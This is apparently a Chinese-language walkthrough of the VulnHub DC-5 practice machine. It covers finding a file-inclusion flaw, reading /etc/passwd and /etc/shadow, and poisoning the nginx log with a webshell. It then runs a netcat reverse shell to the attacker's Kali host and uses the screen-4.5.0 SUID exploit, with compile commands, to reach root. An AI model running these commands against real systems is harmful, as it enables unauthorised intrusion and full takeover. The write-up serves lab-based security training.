vulnhub dc5 靶场实战

靶场地址:https://download.vulnhub.com/dc/DC-5.zip

首先先看看具体ip是多少

image-20220404223458861

靶机ip为:192.168.123.137

首先当然是端口扫描走一走

image-20220404223718560

既然有80端口,当然是访问一波、指纹信息、后台等都摸一遍

image-20220404224000973

发现是一个静态网站,也没后台

这下没辙了

后来发现在contact页面提交信息后,每次刷新下面的版权信息就会改变

image-20220405101208153

初步判断这里可能存在文件包含

查看一下源代码没有发现什么,那么burpsuite抓个包跑一下

自己构造一下

image-20220405102344571

第一个爆破参数选Directories-long

image-20220405101824886

第二个爆破参数选Filenames-long

image-20220405101929789

虽然没有跑完,但是根据这个报文长度排序后,可以发现file参数是已经确定了的

image-20220405102108521

可以直接退出本次爆破了

重新构造一下参数

image-20220405102612314

然后直接选择Filenames-long进行爆破

image-20220405102710801

发现有个footer页面

用文件包含访问一下

image-20220405102911338

页面正常,那么开始看看 /etc/passwd 和 /etc/shadow

image-20220405103045193

image-20220405103100132

没有什么值得利用的信息

试试日志文件写入

linux的日志文件一般都放在 /var/log/nginx

那么还是构造一下参数爆破一下日志名

image-20220405103254700

字典还是用Filenames-long 进行爆破

image-20220405103407623

看样子存在两个日志文件,一个access.log ,一个error.log

好家伙,内容这么多,看样子每一步操作都会被记录在日志文件,那么久向日志文件写入一句话木马

image-20220405103640637

这里我用的REQUEST方法,用get好像连不上

image-20220405104038070

蚁剑连接

image-20220405104116165

image-20220405104226143

只是网站的权限,先反弹到kali

kali:

1
nc -lvvp 4545

靶机:

1
nc 192.168.123.184 4545 -3 /bin/bash

反弹成功

image-20220405134706596

获取交互式shell (提前要判断目标有没有python环境)

1
python -c "import pty;pty.spawn('/bin/bash')"

image-20220405134907154

交互式shell拿到,开始提权,首先看看具有suid的命令

1
find / -user root -perm -4000 -print 2>/dev/null

image-20220405135027682

有个screen-4.5.0 可以试试提权,为什么选这个,以为其他的都比较常见,而这个搜索了一下有提权的exp

有两个,拿第一个试一试

image-20220405135240648

根据里面的内容,让我们分别要建立文件编译

image-20220405135423173

  1. 首先建立 libhax.c文件,写入对应的C代码

image-20220405135630725

编译,自己选择位置

1
gcc -fPIC -shared -ldl -o ./libhax.so ./libhax.c

会生成一个libhax.so文件,然后把原来的libhax.c给删除掉

1
rm -f ./libhax.c

2.建立一个rootshell.c文件,写入内容

image-20220405135857211

编译

1
gcc -o ./rootshell ./rootshell.c

同样的,会生成rootshell文件,然后把rootshell.c文件删除

1
rm -f ./rootshell.c
  1. 然后把剩下的再写入一个shell脚本文件,我这里创建一个 dc.sh

因为是shell文件,所以要记得加声明语句

1
#! /bin/bash

image-20220405140304094

然后将这三个文件上传到靶机的/tmp目录下

image-20220405140445084

在这里我是用蚁剑传的,当然也可以让靶机通过http服务下载过去,也可以用nc传,方法有很多

image-20220405140520279

然后执行dc.sh,记得先给权限

成功拿到root权限

image-20220405140703566

拿flag

image-20220405140735359